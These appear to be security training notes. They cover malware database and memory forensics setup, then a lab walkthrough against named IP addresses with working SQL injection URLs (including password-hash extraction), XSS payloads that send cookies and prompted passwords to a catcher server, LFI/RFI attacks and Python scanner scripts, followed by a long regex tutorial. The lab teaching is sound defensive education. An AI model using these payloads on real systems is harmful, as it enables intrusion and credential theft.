- sudo apt install -y python-simplejson python-simplejson-dbg
- infosecaddicts
- wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
- python avsubmit.py -f wannacry.exe -e
- Analysis of the file can be found at:
- http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
- ###############################
- # Creating a Malware Database #
- ###############################
- Creating a malware database (mysql)
- -----------------------------------
- - Step 1: Installing MySQL database
- - Run the following command in the terminal:
- sudo apt install -y mysql-server
- infosecaddicts
- - Step 2: Installing Python MySQLdb module
- - Run the following command in the terminal:
- sudo apt-get build-dep python-mysqldb
- infosecaddicts
- sudo apt install -y python-mysqldb
- infosecaddicts
- Step 3: Logging in
- Run the following command in the terminal:
- mysql -u root -p (set a password of 'malware')
- - Then create one database by running following command:
- create database malware;
- exit;
- wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
- vi mal_to_db.py (fill in database connection information)
- python mal_to_db.py -i
- ------- check it to see if the files table was created ------
- mysql -u root -p
- malware
- show databases;
- use malware;
- show tables;
- describe files;
- exit;
- ---------------------------------
- - Now add the malicious file to the DB
- python mal_to_db.py -f wannacry.exe -u
- - Now check to see if it is in the DB
- mysql -u root -p
- malware
- mysql> use malware;
- select id,md5,sha1,sha256,time FROM files;
- mysql> quit;
- ######################################
- # PCAP Analysis with forensicPCAP.py #
- ######################################
- cd ~/Desktop
- wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
- sudo easy_install cmd2
- python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
- ForPCAP >>> help
- Prints stats about PCAP
- ForPCAP >>> stat
- Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
- ForPCAP >>> dns
- ForPCAP >>> show
- Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
- ForPCAP >>> dstports
- ForPCAP >>> show
- Prints the number of ip source and store them.
- ForPCAP >>> ipsrc
- Prints the number of web's requests and store them
- ForPCAP >>> web
- Prints the number of mail's requests and store them
- ForPCAP >>> mail
- ###################
- # Memory Analysis #
- ###################
- cd /home/malware/Desktop/Banking\ Troubles/Volatility
- python volatility
- python volatility pslist -f ../hn_forensics.vmem
- python volatility connscan2 -f ../hn_forensics.vmem
- python volatility memdmp -p 888 -f ../hn_forensics.vmem
- python volatility memdmp -p 1752 -f ../hn_forensics.vmem
- ***Takes a few min***
- strings 1752.dmp | grep "^http://" | sort | uniq
- strings 1752.dmp | grep "Ahttps://" | uniq -u
- cd ..
- foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2
- cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf2/
- cat audit.txt
- cd pdf
- ls
- grep -i javascript *.pdf
- cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf5/pdf
- wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
- unzip pdf-parser_V0_6_4.zip
- python pdf-parser.py -s javascript --raw 00600328.pdf
- python pdf-parser.py --object 11 00600328.pdf
- python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
- cat malicious.js
- *****Sorry - no time to cover javascript de-obfuscation today*****
- cd /home/malware/Desktop/Banking\ Troubles/Volatility/
- python volatility files -f ../hn_forensics.vmem > files
- cat files | less
- python volatility malfind -f ../hn_forensics.vmem -d out
- ls out/
- python volatility hivescan -f ../hn_forensics.vmem
- python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
- for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done
- Start with simple Firefox Addons:
- - ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/
- - Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/
- - FoxyProxy https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
- - Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
- - Wapalyzer https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
- A good list of web app testing add ons for Firefox:
- https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
- ##################################
- # Basic: Web Application Testing #
- ##################################
- Most people are going to tell you reference the OWASP Testing guide.
- https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
- I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
- The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
- 1. Does the website talk to a DB?
- - Look for parameter passing (ex: site.com/page.php?id=4)
- - If yes - try SQL Injection
- 2. Can I or someone else see what I type?
- - If yes - try XSS
- 3. Does the page reference a file?
- - If yes - try LFI/RFI
- Let's start with some manual testing against 54.245.184.121
- Start here:
- http://54.245.184.121/
- There's no parameter passing on the home page so the answer to question 1 is NO.
- There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
- Try an XSS in the search box on the home page:
- <script>alert(123);</script>
- Doing this gives us the following in the address bar:
- http://54.245.184.121/BasicSearch.aspx?Word=<script>alert(123);</script>
- Ok, so we've verified that there is XSS in the search box.
- Let's move on to the search box in the left of the page.
- Let's give the newsletter signup box a shot
- Moving on to the login page.
- http://54.245.184.121/login.aspx
- I entered a single quote (') for both the user name and the password. I got the following error:
- -----------------------------------------------------------------
- 'Users//User[@Name=''' and @Password=''']' has an invalid token.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
- Source Error:
- Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
- Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
- Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
- Line 115: //String test = xmln.ToString();
- Line 116: if (xmln.Count > 0)
- -----------------------------------------------------------------
- Hmm....System.Xml.XPath.XPathException.....that's not SQL.
- WTF is this:
- Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
- In this case you'll have the trap the request with a proxy like:
- - Firefox Tamper Data
- - Burp Suite http://www.portswigger.net/Burp/proxy.html
- - WebScarab https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
- - Rat Proxy https://code.google.com/p/ratproxy/
- - Zap Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
- - Paros http://sourceforge.net/projects/paros/
- Let's go back to that page error message.....
- Let's check it out:
- http://54.245.184.121/AuthInfo.xml
- Looks like we found passwords!!!!!!!!!!
- Looks like there no significant new functionality after logging in with the stolen credentials.
- Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
- http://54.245.184.121/bookdetail.aspx?id=2
- Ok, there is parameter passing (bookdetail.aspx?id=2).
- The page name is: bookdetail.aspx
- The parameter name is: id
- The paramber value is: 2
- Let's try throwing a single quote (') in there:
- http://54.245.184.121/bookdetail.aspx?id=2'
- I get the following error:
- Unclosed quotation mark after the character string ''.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
- #########################################################################################
- # SQL Injection #
- # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
- #########################################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- #############################
- # Union-Based SQL Injection #
- #############################
- http://54.245.184.121/bookdetail.aspx?id=2 order by 100--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 50--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 25--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 10--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 5--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 6--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 7--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 8--
- http://54.245.184.121/bookdetail.aspx?id=2 order by 9--
- http://54.245.184.121/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://54.245.184.121/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- - Another way is to see if you can get the backend to perform an arithmetic function
- http://54.245.184.121/bookdetail.aspx?id=(2)
- http://54.245.184.121/bookdetail.aspx?id=(4-2)
- http://54.245.184.121/bookdetail.aspx?id=(4-1)
- http://54.245.184.121/bookdetail.aspx?id=2 or 1=1--
- http://54.245.184.121/bookdetail.aspx?id=2 or 1=2--
- http://54.245.184.121/bookdetail.aspx?id=1*1
- http://54.245.184.121/bookdetail.aspx?id=2 or 1 >-1#
- http://54.245.184.121/bookdetail.aspx?id=2 or 1<99#
- http://54.245.184.121/bookdetail.aspx?id=2 or 1<>1#
- http://54.245.184.121/bookdetail.aspx?id=2 or 2 != 3--
- http://54.245.184.121/bookdetail.aspx?id=2 &0#
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- Let's go for a quick check to see if it's DBO
- http://54.245.184.121/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://54.245.184.121/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ###############################################################################
- # What is XSS #
- # https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
- ###############################################################################
- OK - what is Cross Site Scripting (XSS)
- 1. Use Firefox to browse to the following location:
- http://45.63.104.73/xss_practice/
- A really simple search page that is vulnerable should come up.
- 2. In the search box type:
- <script>alert('So this is XSS')</script>
- This should pop-up an alert window with your message in it proving XSS is in fact possible.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 3. In the search box type:
- <script>alert(document.cookie)</script>
- This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
- Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
- 4. Now replace that alert script with:
- <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
- This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
- 5. Now view the stolen cookie at:
- http://45.63.104.73/xss_practice/cookie_stealer_logs.html
- The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
- ############################
- # A Better Way To Demo XSS #
- ############################
- Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
- Use Firefox to browse to the following location:
- http://45.63.104.73/xss_practice/
- Paste this in the search box
- ----------------------------
- Option 1
- --------
- <script>
- password=prompt('Your session is expired. Please enter your password to continue',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
- </script>
- Now view the stolen cookie at:
- http://45.63.104.73/xss_practice/passwords.html
- Option 2
- --------
- <script>
- username=prompt('Please enter your username',' ');
- password=prompt('Please enter your password',' ');
- document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
- </script>
- Now view the stolen cookie at:
- http://45.63.104.73/xss_practice/username_password_logs.html
- ######################
- # Lesson 27: Web App #
- ######################
- vi wpbruteforcer.py
- python wpbruteforcer.py -t strategicsec.com -u j0e -w list.txt
- - Here is an example of an LFI
- - Open this page in Firefox:
- http://45.63.104.73/showfile.php?filename=contactus.txt
- - Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
- - Here you see a direct reference to a file on the local filesystem of the victim machine.
- - You can attack this by doing the following:
- http://45.63.104.73/showfile.php?filename=/etc/passwd
- - This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
- - somewhere else on the Internet. Here is an example of a text file on the web:
- http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- - Now we can attack the target via RFI like this:
- http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- - Now let's see if we can write some code to do this for us:
- vi LFI-RFI.py
- #!/usr/bin/env python
- print "\n### PHP LFI/RFI Detector ###"
- print "### Sean Arries 09/18/09 ###\n"
- import urllib2,re,sys
- TARGET = "http://45.63.104.73/showfile.php?filename=contactus.txt"
- RFIVULN = "http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt?"
- TravLimit = 12
- print "==> Testing for LFI vulns.."
- TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
- for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
- TARGET += "../"
- try:
- source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! ==> LFI Found:",TARGET+"etc/passwd"
- break ## BREAK LOOP WHEN VULN FOUND
- print "\n==> Testing for RFI vulns.."
- TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
- try:
- source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error:",e
- sys.exit(0)
- if re.search("j0e",source): ## SEARCH FOR TEXT IN SOURCE
- print "!! => RFI Found:",TARGET
- print "\nScan Complete\n" ## DONE
- #!/usr/bin/env python
- print "\n### PHP SQLi Detector ###"
- print "### Sean Arries 09/18/09 ###\n"
- import urllib2,re,sys
- TARGET = "http://45.63.104.73/acre2.php?lap=Compaq"
- SQLi = "'"
- SQLiError = "You have an error in your SQL"
- SQLiNull = "BennyLava"
- print "==> Testing for SQLi Error Vuln..."
- URL = TARGET+SQLi
- try:
- source = urllib2.urlopen(URL).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error\n",e
- sys.exit(0)
- if re.search(SQLiError,source): ## SEARCH FOR ERROR IN PAGE
- print "!! ==> SQLi Found:",TARGET+SQLi
- print "## ==> Bruting NULL column...",
- URL = TARGET+"+and+1=2+UNION+SELECT+" ## BUILD OUR SQLi STATEMENT
- for x in xrange(1,99):
- if x > 1:
- URL = URL+","
- URL = URL+"0x"+SQLiNull.encode("hex") ## ADD HEX ENCODED NULL WORD
- print x,
- try:
- source = urllib2.urlopen((URL+"-- n")).read() ## WEB REQUEST
- except urllib2.URLError, e:
- print "$$$ We had an Error\n",e
- sys.exit(0)
- if re.search(SQLiNull,source): ## SEARCH FOR UNENCODED NULL WORD
- print "\n!! ==> Null Column Found:",URL+"--"
- break
- else:
- print "** ==> No SQLi Found!"
- print "\nScan Complete\n"
- #######################
- # Regular Expressions #
- #######################
- **************************************************
- * What is Regular Expression and how is it used? *
- **************************************************
- Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
- Regular expressions use two types of characters:
- a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
- b) Literals (like a,b,1,2…)
- In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
- Use this code --> import re
- The most common uses of regular expressions are:
- --------------------------------------------------
- - Search a string (search and match)
- - Finding a string (findall)
- - Break string into a sub strings (split)
- - Replace part of a string (sub)
- Let's look at the methods that library "re" provides to perform these tasks.
- ****************************************************
- * What are various methods of Regular Expressions? *
- ****************************************************
- The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
- re.match()
- re.search()
- re.findall()
- re.split()
- re.sub()
- re.compile()
- Let's look at them one by one.
- re.match(pattern, string):
- -------------------------------------------------
- This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
- Code
- import re
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result
- Output:
- <_sre.SRE_Match object at 0x0000000009BE4370>
- Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result.group(0)
- Output:
- AV
- Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
- Code
- result = re.match(r'Analytics', 'AV Analytics ESET AV')
- print result
- Output:
- None
- There are methods like start() and end() to know the start and end position of matching pattern in the string.
- Code
- result = re.match(r'AV', 'AV Analytics ESET AV')
- print result.start()
- print result.end()
- Output:
- 0
- 2
- Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
- re.search(pattern, string):
- -----------------------------------------------------
- It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
- Code
- result = re.search(r'Analytics', 'AV Analytics ESET AV')
- print result.group(0)
- Output:
- Analytics
- Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
- re.findall (pattern, string):
- ------------------------------------------------------
- It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
- Code
- result = re.findall(r'AV', 'AV Analytics ESET AV')
- print result
- Output:
- ['AV', 'AV']
- re.split(pattern, string, [maxsplit=0]):
- ------------------------------------------------------
- This methods helps to split string by the occurrences of given pattern.
- Code
- result=re.split(r'y','Analytics')
- result
- Output:
- ['Anal', 'tics']
- Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
- Code
- result=re.split(r's','Analytics eset')
- print result
- Output:
- ['Analytic', 'e', 'et'] #It has performed all the splits that can be done by pattern "s".
- Code
- result=re.split(r's','Analytics eset',maxsplit=1)
- result
- Output:
- ['Analytic', 'eset']
- Here, you can notice that we have fixed the maxsplit to 1. And the result is, it has only two values whereas first example has three values.
- re.sub(pattern, repl, string):
- ----------------------------------------------------------
- It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
- Code
- result=re.sub(r'Ruby','Python','Joe likes Ruby')
- result
- Output:
- 'Joe likes Python'
- re.compile(pattern, repl, string):
- ----------------------------------------------------------
- We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
- Code
- import re
- pattern=re.compile('XSS')
- result=pattern.findall('XSS is Cross Site Sripting, XSS')
- print result
- result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
- print result2
- Output:
- ['XSS', 'XSS']
- ['XSS']
- Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
- This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
- **********************************************
- * What are the most commonly used operators? *
- **********************************************
- Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
- Operators Description
- . Matches with any single character except newline ‘\n'.
- ? match 0 or 1 occurrence of the pattern to its left
- + 1 or more occurrences of the pattern to its left
- * 0 or more occurrences of the pattern to its left
- \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
- \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
- \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
- \b boundary between word and non-word and /B is opposite of /b
- [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
- \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
- ^ and $ ^ and $ match the start or end of the string respectively
- {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
- a| b Matches either a or b
- ( ) Groups regular expressions and returns matched text
- \t, \n, \r Matches tab, newline, return
- For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
- Now, let's understand the pattern operators by looking at the below examples.
- ****************************************
- * Some Examples of Regular Expressions *
- ****************************************
- ******************************************************
- * Problem 1: Return the first word of a given string *
- ******************************************************
- Solution-1 Extract each character (using "\w")
- ---------------------------------------------------------------------------
- Code
- import re
- result=re.findall(r'.','Python is the best scripting language')
- print result
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Above, space is also extracted, now to avoid it use "\w" instead of ".".
- Code
- result=re.findall(r'\w','Python is the best scripting language')
- print result
- Output:
- ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
- Solution-2 Extract each word (using "*" or "+")
- ---------------------------------------------------------------------------
- Code
- result=re.findall(r'\w*','Python is the best scripting language')
- print result
- Output:
- ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
- Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
- Code
- result=re.findall(r'\w+','Python is the best scripting language')
- print result
- Output:
- ['Python', 'is', 'the', 'best', 'scripting', 'language']
- Solution-3 Extract each word (using "^")
- -------------------------------------------------------------------------------------
- Code
- result=re.findall(r'^\w+','Python is the best scripting language')
- print result
- Output:
- ['Python']
- If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
- Code
- result=re.findall(r'\w+$','Python is the best scripting language')
- print result
- Output:
- [‘language']
- **********************************************************
- * Problem 2: Return the first two character of each word *
- **********************************************************
- Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
- ------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'\w\w','Python is the best')
- print result
- Output:
- ['Py', 'th', 'on', 'is,', 'th', 'eb', 'es']
- Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
- ------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'\b\w.','Python is the best')
- print result
- Output:
- ['Py', 'is,', 'th', 'be']
- ********************************************************
- * Problem 3: Return the domain type of given email-ids *
- ********************************************************
- To explain it in simple manner, I will again go with a stepwise approach:
- Solution-1 Extract all characters after "@"
- ------------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- Output: ['@gmail', '@test', '@strategicsec', '@rest']
- Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
- result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- Output:
- ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
- Solution – 2 Extract only domain name using "( )"
- -----------------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
- print result
- Output:
- ['com', 'com', 'com', 'biz']
- ********************************************
- * Problem 4: Return date from given string *
- ********************************************
- Here we will use "\d" to extract digit.
- Solution:
- ----------------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print result
- Output:
- ['12-05-2007', '11-11-2016', '12-01-2009']
- If you want to extract only year again parenthesis "( )" will help you.
- Code
- result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
- print result
- Output:
- ['2007', '2016', '2009']
- *******************************************************************
- * Problem 5: Return all words of a string those starts with vowel *
- *******************************************************************
- Solution-1 Return each words
- -----------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'\w+','Python is the best')
- print result
- Output:
- ['Python', 'is', 'the', 'best']
- Solution-2 Return words starts with alphabets (using [])
- ------------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
- print result
- Output:
- ['I', 'ove', 'on']
- Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
- Solution- 3
- ------------------------------------------------------------------------------------------------------------------
- Code
- result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
- print result
- Output:
- []
- In similar ways, we can extract words those starts with constant using "^" within square bracket.
- Code
- result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
- print result
- Output:
- [' love', ' Python']
- Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
- Code
- result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
- print result
- Output:
- ['love', 'Python']
- *************************************************************************************************
- * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
- *************************************************************************************************
- We have a list phone numbers in list "li" and here we will validate phone numbers using regular
- Solution
- -------------------------------------------------------------------------------------------------------------------------------------
- Code
- import re
- li=['9999999999','999999-999','99999x9999']
- for val in li:
- if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
- print 'yes'
- else:
- print 'no'
- Output:
- yes
- no
- no
- ******************************************************
- * Problem 7: Split a string with multiple delimiters *
- ******************************************************
- Solution
